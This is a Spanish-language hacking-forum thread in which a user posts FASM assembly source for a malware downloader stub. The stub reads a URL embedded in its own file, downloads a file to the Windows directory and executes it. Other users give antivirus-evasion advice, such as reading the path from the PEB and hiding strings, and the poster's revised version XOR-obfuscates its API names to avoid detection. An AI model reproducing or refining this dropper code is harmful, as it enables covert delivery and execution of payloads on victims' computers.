elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  mDownloader
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: mDownloader  (Leído 3,878 veces)
fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
mDownloader
« en: 15 Diciembre 2010, 20:31 pm »

Bueno, aqui les traigo el código de un downloader uqe e creado en fasm :P, solo dejo el código del Stub que es lo interesante jeje.

Código
  1. ;Stub de mDownloader
  2. ;Codeado por Drinky94 en diciembre de 2010
  3. ;www.drinky94. artehack .net
  4. include 'win32ax.inc'
  5.  
  6. .data
  7.    ruta dd ?
  8.    manija dd ?
  9.    larchivo dd ?
  10.    espacio dd ?
  11.    bleidos dd ?
  12.    dll db 'urlmon.dll',0
  13.    funcion db 'URLDownloadToFileA',0
  14.    mUrl dd ?
  15.    dlls db 'msvcrt.dll',0
  16.    funcions db 'getenv',0
  17.    shell dd ?
  18.    user db 'windir',0
  19.    añadir db '\archivo.exe',0
  20.    destino dd ?
  21.  
  22.  
  23. .code
  24. start:
  25.  
  26.        invoke GlobalAlloc,GPTR,1024
  27.        mov [ruta],eax
  28.        invoke GetModuleFileName,0,[ruta],1024
  29.  
  30.        invoke CreateFile,[ruta], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
  31.        mov [manija],eax
  32.        invoke GetFileSize,[manija],0
  33.        mov [larchivo],eax
  34.        invoke GlobalAlloc,GPTR,[larchivo]
  35.        mov [espacio],eax
  36.        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
  37.        invoke CloseHandle,[manija]
  38.  
  39.        mov ecx,1
  40.        mov eax,[espacio]
  41.        add [larchivo],10
  42.        bucle:
  43.  
  44.            .if byte[eax+ecx] = '#'
  45.                inc ecx
  46.                .if byte[eax+ecx] = '#'
  47.                    inc ecx
  48.                    .if byte[eax+ecx] = '#'
  49.                        inc ecx
  50.                        add eax,ecx
  51.                        mov [espacio],eax
  52.                        jmp salir
  53.                    .endif
  54.                    dec ecx
  55.                .endif
  56.                dec ecx
  57.             .endif
  58.  
  59.             .if ecx > [larchivo]
  60.                 jmp salir
  61.             .endif
  62.  
  63.             inc ecx
  64.             jmp bucle
  65.  
  66.        salir:
  67.  
  68.        invoke LoadLibrary,dlls
  69.        invoke GetProcAddress,eax,funcions
  70.        mov [shell],eax
  71.  
  72.        push user
  73.        call [shell]
  74.  
  75.        invoke lstrcat,eax,añadir
  76.        mov [destino],eax
  77.  
  78.        invoke LoadLibrary,dll
  79.        invoke GetProcAddress,eax,funcion
  80.        mov [mUrl],eax
  81.  
  82.        push 0
  83.        push 0
  84.        push [destino]
  85.        push [espacio]
  86.        push 0
  87.  
  88.        call [mUrl]
  89.  
  90.        invoke ShellExecute,0,"open",[destino],0,0,0
  91.  
  92.       leave
  93.       ret
  94. .end start                        

Espero que a alguien le sirva :P

salu2!
« Última modificación: 15 Diciembre 2010, 23:18 pm por Karcrack » En línea

Un byte a la izquierda.
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: mDownloader
« Respuesta #1 en: 15 Diciembre 2010, 23:34 pm »

Eso de dejar las cadenas en texto plano no es demasiado profesional, ademas que a los AVs no les gusta encontrarse "URLDownloadToFileA"... :xD

Teniendo en cuenta que esta en ASM te recomiendo sacar tu ruta desde el PEB, y asi te ahorras un par de APIs muy feas :P
Código
  1.        xor  eax, eax
  2.        mov  eax, [FS:eax+0x30]
  3.        mov  eax, [DS:eax+0x10]
  4.        mov  eax, [DS:eax+0x3C]
  5.        ;EAX = Ruta

Todo esto:
Código:
        bucle:
 
            .if byte[eax+ecx] = '#'
                inc ecx
                .if byte[eax+ecx] = '#'
                    inc ecx
                    .if byte[eax+ecx] = '#'
                        inc ecx
                        add eax,ecx
                        mov [espacio],eax
                        jmp salir
                    .endif
                    dec ecx
                .endif
                dec ecx
             .endif
 
             .if ecx > [larchivo]
                 jmp salir
             .endif
 
             inc ecx
             jmp bucle
Es para encontrar la firma no? Es un poco cutre este bucle... deberias usar loop... ademas de usar una firma de 4 bytes para poder buscarla de este modo: cmp DWORD[eax+ecx],"####"

Otra cosa! Para sacar las variables de entorno siempre me ha gustado mas ExpandEnvironmentStringA/W.. a la que le pases la ruta del siguiente modo: "%WINDIR%\archivo.exe" y te la completa... ademas de que esta en KERNEL32 y te ahorras importar otra API :)

Un saludo ;)
En línea

fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
Re: mDownloader
« Respuesta #2 en: 16 Diciembre 2010, 00:16 am »

Umm, tienes razón Karcrack  :-*. Mañana mejoro el código y lo posteo jeje

salu2!
En línea

Un byte a la izquierda.
[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.082


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: mDownloader
« Respuesta #3 en: 16 Diciembre 2010, 00:27 am »

Está muy bien Drinky94, vas progresando con ASM :).

No sé si estás metiendo los datos en el EOF, pero si lo haces así, puedes encontrar fácilmente la dirección donde empiezan los datos que le builder metió y no tener que usar ninguna "firma". Si no lo haces con el EOF puedes reservar una dirección fija, por ejemplo con unos pocos nops en el código, y que sea el builder quien busque los nops y los cambie por los datos que quieres pasarle al stub. También puedes hacerlo con un archivo de recursos.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
Re: mDownloader
« Respuesta #4 en: 16 Diciembre 2010, 17:09 pm »

Bueno, aqui esta el código mejorado:

Código
  1. include 'win32ax.inc'
  2.  
  3. .data
  4.    manija dd ?
  5.    larchivo dd ?
  6.    espacio dd ?
  7.    bleidos dd ?
  8.    dll db 'rukjhi)ckk',0
  9.    funcion db 'RUKChpikhfcShAnkbF',0
  10.    añadir db '%windir%\archivo.exe',0
  11.    ruta dd ?
  12.  
  13. .code
  14. start:
  15.        xor  eax, eax
  16.        mov  eax, [FS:eax+0x30]
  17.        mov  eax, [DS:eax+0x10]
  18.        mov  eax, [DS:eax+0x3C]
  19.  
  20.        invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
  21.        mov [manija],eax
  22.        invoke GetFileSize,[manija],0
  23.        mov [larchivo],eax
  24.        invoke GlobalAlloc,GPTR,[larchivo]
  25.        mov [espacio],eax
  26.        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
  27.        invoke CloseHandle,[manija]
  28.  
  29.        mov ecx,1
  30.        mov eax,[espacio]
  31.        add [larchivo],10
  32.        bucle:
  33.  
  34.            .if byte[eax+ecx] = '#'
  35.                inc ecx
  36.                .if byte[eax+ecx] = '#'
  37.                    inc ecx
  38.                    .if byte[eax+ecx] = '#'
  39.                        inc ecx
  40.                        add eax,ecx
  41.                        mov [espacio],eax
  42.                        jmp salir
  43.                    .endif
  44.                    dec ecx
  45.                .endif
  46.                dec ecx
  47.             .endif
  48.  
  49.             .if ecx > [larchivo]
  50.                 jmp salir
  51.             .endif
  52.  
  53.             inc ecx
  54.             jmp bucle
  55.  
  56.        salir:
  57.  
  58.        invoke GlobalAlloc,GPTR,1024
  59.        mov [ruta],eax
  60.        invoke ExpandEnvironmentStrings,añadir,[ruta],1024
  61.  
  62.        stdcall Cifrar,dll
  63.        invoke LoadLibrary,eax
  64.  
  65.        push eax
  66.        stdcall Cifrar,funcion
  67.        mov ecx,eax
  68.        pop eax
  69.  
  70.        invoke GetProcAddress,eax,ecx
  71.  
  72.        push 0
  73.        push 0
  74.        push [ruta]
  75.        push [espacio]
  76.        push 0
  77.  
  78.        call eax
  79.  
  80.        invoke ShellExecute,0,"open",[ruta],0,0,0
  81.  
  82.        leave
  83.        ret
  84.  
  85.        proc Cifrar,Cadena
  86.            xor ecx,ecx
  87.            mov eax,[Cadena]
  88.            .bucle:
  89.                .if byte[eax+ecx] = 0
  90.                    jmp .salir
  91.                .endif
  92.                xor byte[eax+ecx],7
  93.                inc ecx
  94.                jmp .bucle
  95.            .salir:
  96.            ret
  97.         endp
  98. .end start    

Había leido sobre la estructura PEB  y habia visto ese código tuyo en otro post de yst sino recuerdo mal.. XD

Bueno, no e mejorado lo de encontrar la firma que separa porque creo que así se adapta mas a lo que yo quiero y puedo añadir una firma con la longitud que quiera.

salu2!
En línea

Un byte a la izquierda.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines